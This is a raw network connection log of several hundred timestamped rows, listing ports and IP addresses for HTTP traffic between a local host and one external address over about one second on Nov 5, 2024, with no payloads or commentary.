Nov 5, 2024 12:43:34.937196016 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937388897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937400103 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937412024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937431097 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937455893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937474012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937486887 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937505007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937517881 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937534094 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937550068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937630892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937643051 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937654972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937666893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937676907 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937695980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937746048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937757015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937767982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937786102 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937798023 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937829971 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937839985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.937871933 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.937891006 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.938039064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.938071012 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.938081980 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:34.938092947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.938107014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:34.938122034 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020236969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020262003 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020272970 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020291090 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020324945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020370960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020385027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020396948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020407915 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020418882 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020418882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020435095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020462990 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020494938 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020531893 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020536900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020653963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020812035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020823002 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020833969 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020844936 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020854950 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020857096 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020864964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020868063 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020879984 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020895004 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020896912 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020924091 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020931959 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020936966 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020951033 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020963907 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020972967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020978928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020987034 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.020991087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.020999908 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021008015 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021032095 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021070004 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021110058 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021152973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021164894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021192074 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021203041 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021270990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021282911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021292925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021305084 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021307945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021332026 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021358013 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021419048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021430016 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021440983 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021456957 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021477938 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021503925 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021513939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021538973 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021569014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021930933 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021941900 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021954060 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021965027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021969080 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.021976948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.021981001 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022006989 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022033930 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022113085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022125006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022135973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022142887 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022149086 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022161007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022164106 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022176027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022176027 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022193909 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022229910 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022381067 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022392035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022402048 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022413015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022420883 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022425890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.022432089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022455931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.022474051 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.025310040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.025322914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.025371075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.052607059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.052644014 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.052656889 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.052684069 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.052712917 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.052723885 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.052737951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.052762032 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.052803040 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.053041935 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053066015 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053076982 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053090096 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.053100109 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.053117037 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.053190947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053201914 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053212881 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053225994 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053236008 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.053248882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.053275108 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.053358078 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053369045 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.053401947 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.054423094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054452896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054464102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054471970 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.054502964 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.054568052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054579973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054591894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054599047 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054613113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.054641962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.054707050 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054717064 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.054747105 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.054775000 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.135708094 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.135735035 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.135747910 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.135798931 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.135831118 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.135849953 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.135864019 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.135876894 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.135890007 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.135895014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.135905981 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.135920048 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.135946035 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.135994911 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136008024 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136044979 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136111975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136123896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136135101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136147022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136162043 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136173010 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136198997 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136253119 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136266947 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136276960 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136290073 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136302948 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136303902 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136321068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136329889 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136338949 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136424065 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136437893 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136450052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136461973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136472940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136472940 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136485100 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136498928 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136511087 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136537075 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136585951 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136596918 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136635065 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136684895 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136698008 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136708975 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136722088 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136734009 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136734962 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136749983 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136778116 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.136943102 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136955976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136966944 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136980057 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.136991978 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137002945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137006998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137017965 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137018919 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137029886 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137033939 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137047052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137070894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137070894 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137106895 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137166023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137178898 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137213945 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137224913 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137276888 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137317896 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137330055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137355089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137355089 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137418985 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137433052 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137444973 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137485027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137485027 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137569904 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137583017 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137593031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137603998 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137617111 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137619019 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137638092 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137645960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137653112 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.137659073 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.137686014 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.167695999 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167714119 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167726040 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167788982 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.167817116 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167829990 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167840958 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167850971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.167850971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.167862892 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167874098 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167884111 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.167907000 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.167956114 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168457031 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168517113 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168533087 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168591022 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168605089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168608904 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168643951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168643951 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168715954 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168765068 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168781996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168833971 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168850899 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168863058 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168874979 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168889046 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168900967 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.168930054 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168931007 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.168943882 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.169866085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.169878006 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.169891119 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.169923067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.169923067 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.170172930 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.170185089 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.170196056 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.170207977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.170218945 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.170222998 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.170242071 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.170248985 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.170766115 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.170775890 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.170813084 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251209021 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251286030 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251458883 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251471996 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251492977 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251499891 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251511097 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251514912 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251523972 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251528978 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251537085 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251553059 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251564980 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251570940 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251583099 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251585960 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251595974 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251606941 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251606941 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251619101 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251631975 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251657963 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251817942 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251831055 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251842976 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251854897 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251868010 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251878023 CET	80	49711	188.114.96.3	192.168.2.8
Nov 5, 2024 12:43:35.251878977 CET	49711	80	192.168.2.8	188.114.96.3
Nov 5, 2024 12:43:35.251899004 CET	49711	80	192.168.2.8	188.114.96.3
